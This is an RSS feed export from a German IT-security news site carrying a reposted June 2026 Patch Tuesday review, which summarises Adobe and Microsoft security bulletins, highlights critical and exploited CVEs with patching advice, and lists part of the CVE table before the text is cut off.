<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=hpr4283+toley+bone+repair%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Tue, 28 Jul 2026 14:26:30 +0200</lastBuildDate>
<pubDate>Tue, 28 Jul 2026 14:26:30 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=hpr4283+toley+bone+repair%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=hpr4283+toley+bone+repair%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[The June 2026 Security Update Review]]></title>
<description><![CDATA[I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a ...]]></description>
<link>https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:53 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for June 2026</strong></p><p class="">For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/campaign/apsb26-66.html" target="_blank">APSB26-66</a></td>
    <td>Adobe Campaign Classic</td>
    <td>2</td>
    <td>Critical</td>
    <td>10.0</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-64.html" target="_blank">APSB26-64</a></td>
    <td>Adobe ColdFusion</td>
    <td>7</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/acrobat/apsb26-63.html" target="_blank">APSB26-63</a></td>
    <td>Adobe Acrobat Reader</td>
    <td>20</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/aem-forms/apsb26-57.html" target="_blank">APSB26-57</a></td>
    <td>Adobe Experience Manager Forms</td>
    <td>3</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/dreamweaver/apsb26-62.html" target="_blank">APSB26-62</a></td>
    <td>Adobe Dreamweaver</td>
    <td>5</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/formatplugins/apsb26-65.html" target="_blank">APSB26-65</a></td>
    <td>Adobe Format Plugins</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/incopy/apsb26-59.html" target="_blank">APSB26-59</a></td>
    <td>Adobe InCopy</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/indesign/apsb26-58.html" target="_blank">APSB26-58</a></td>
    <td>Adobe InDesign</td>
    <td>12</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-60.html" target="_blank">APSB26-60</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-61.html" target="_blank">APSB26-61</a></td>
    <td>Content Credentials SDK</td>
    <td>8</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-56.html" target="_blank">APSB26-56</a></td>
    <td>Adobe Experience Manager</td>
    <td>57</td>
    <td>Important</td>
    <td>5.4</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>11 bulletins</td>
    <td>123</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.</p><p class=""><strong>Microsoft Patches for June 2026</strong></p><p class="">This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.</p><p class="">One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.</p><p class="">I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.</p><p class="">One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.</p><p class="">-   <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><strong>CVE-2026-41091</strong></a><strong> - Microsoft Defender Elevation of Privilege Vulnerability<br></strong>Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><strong>CVE-2026-45657</strong></a><strong> - Windows Kernel Remote Code Execution Vulnerability<br></strong>This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><strong>CVE-2026-47291</strong></a><strong> - HTTP.sys Remote Code Execution Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
